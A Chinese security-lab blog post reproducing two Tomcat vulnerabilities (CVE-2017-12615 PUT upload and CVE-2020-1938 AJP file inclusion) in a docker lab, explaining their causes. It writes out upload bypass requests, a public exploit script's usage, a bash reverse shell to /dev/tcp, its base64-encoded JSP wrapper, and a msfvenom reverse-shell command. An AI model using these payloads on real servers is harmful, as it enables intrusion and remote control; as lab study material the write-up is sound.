Tomcat常见漏洞复现(上)

admin 2022年5月20日03:20:43评论353 views字数 3364阅读11分12秒阅读模式

Tomcat常见漏洞复现(上)

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3300字,阅读约需9分钟。


Tomcat常见漏洞复现(上)

0x00  简介

Tomcat常见漏洞复现(上)


  tomcat和apache一样是一个免费的服务器,主要用于jsp框架的网站,可以看作是apache的一个扩展,但是运行的时候和apache属于不同的进程。本文主要介绍tomcat的常见的漏洞。

Tomcat常见漏洞复现(上)

0x01 CVE-2017-12615

Tomcat常见漏洞复现(上)


CVE-2017-12615对应的漏洞为任意文件写入,主要影响的是Tomcat的7.0.0-7.0.81这几个版本。

漏洞原理

  • 由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

  • 根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

  • 通过阅读 conf/web.xml 文件,可以发现,默认readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

漏洞复现

这里使用vuluhub的docker进行漏洞复现,这里就不详细介绍环境搭建了

首先进入CVE-2017-12615的docker环境

docker-compose up -ddocker ps

//查看docker环境是否启动成功


Tomcat常见漏洞复现(上)


进入docker容器里查看一下web.xml的代码,可以看到这里readonly设置为false,所以存在漏洞。


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


访问靶机的8080端口,因为容器已经将8080端口做了映射处理,所以可以访问到。

我们可以看到这是一个Apache Tomcat/8.5.19,在我们的漏洞范围内。


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


修改方法为PUT方法发送一个test.txt文件上去,可以看到201的成功状态码。


Tomcat常见漏洞复现(上)


我们可以在usr/local/tomcat/webapps/ROOT下看到test.txt,且内容是我们PUT进入服务器的。


Tomcat常见漏洞复现(上)


之前说过,使用PUT方法上传任意文件,但限制了jsp后缀的上传,这里首先使用PUT方法直接上传一个冰蝎的jsp上去,发现返回的是404,应该是被拦截了


Tomcat常见漏洞复现(上)

这里就需要进行绕过,这里绕过有三种方法

1.Windows下不允许文件以空格结尾以PUT/a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格 

2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1 

3. /在文件名中是非法的,也会被去除(Linux/Windows)Put /a001.jsp/http:/1.1

这里三种方式均有使用,在docker中均可看到成功上传。


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


冰蝎连接:


Tomcat常见漏洞复现(上)

 

Tomcat常见漏洞复现(上)

0x02 CVE-2020-1938

Tomcat常见漏洞复现(上)


CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJPConnector可以读取或包含 Tomcat上所有webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。


Tomcat常见漏洞复现(上)


Tomcat常见漏洞复现(上)


tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性


Tomcat常见漏洞复现(上)


因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下


Tomcat常见漏洞复现(上)


漏洞复现

首先使用poc进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件

git clonehttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi cd CNVD-2020-10487-Tomcat-Ajp-lfi python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境


利用:

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.121.174 -p 8009 -f /WEB-INF/web.xml


Tomcat常见漏洞复现(上)


使用bash反弹shell

bash -i >& /dev/tcp/192.168.121.174/8888 0>&1


使用https://www.jackson-t.ca/runtime-exec-payloads.html的转换结果如下:

bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMS4xNzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}


生成一个test.txt,这里只需要换payload就可以

<%   java.io.InputStream in = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }   out.print("</pre>");%>


将test.txt文件上传到服务器上后,nc监听在8888端口,执行py文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,读取test.txt即可获取到一个交互式的shell。

 

如果使用MSF的操作:

msf生成一个shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10LPORT=4444 R > shell.txt


将shell.txt上传到docker中。

msf开启监听,注意payload使用java/jsp_shell_reverse_tcp


Tomcat常见漏洞复现(上)


再读取反弹POC即可上线

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8-p 8009-f shell.txt


Tomcat常见漏洞复现(上)

0x03 总结

Tomcat常见漏洞复现(上)


Tomcat 弱口令&后台war部署Manager App 登录口处可爆破于下期更新。



 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


Tomcat常见漏洞复现(上)

戟星安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(戟星安全实验室):Tomcat常见漏洞复现(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月20日03:20:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat常见漏洞复现(上)http://cn-sec.com/archives/1021297.html

发表评论

匿名网友 填写信息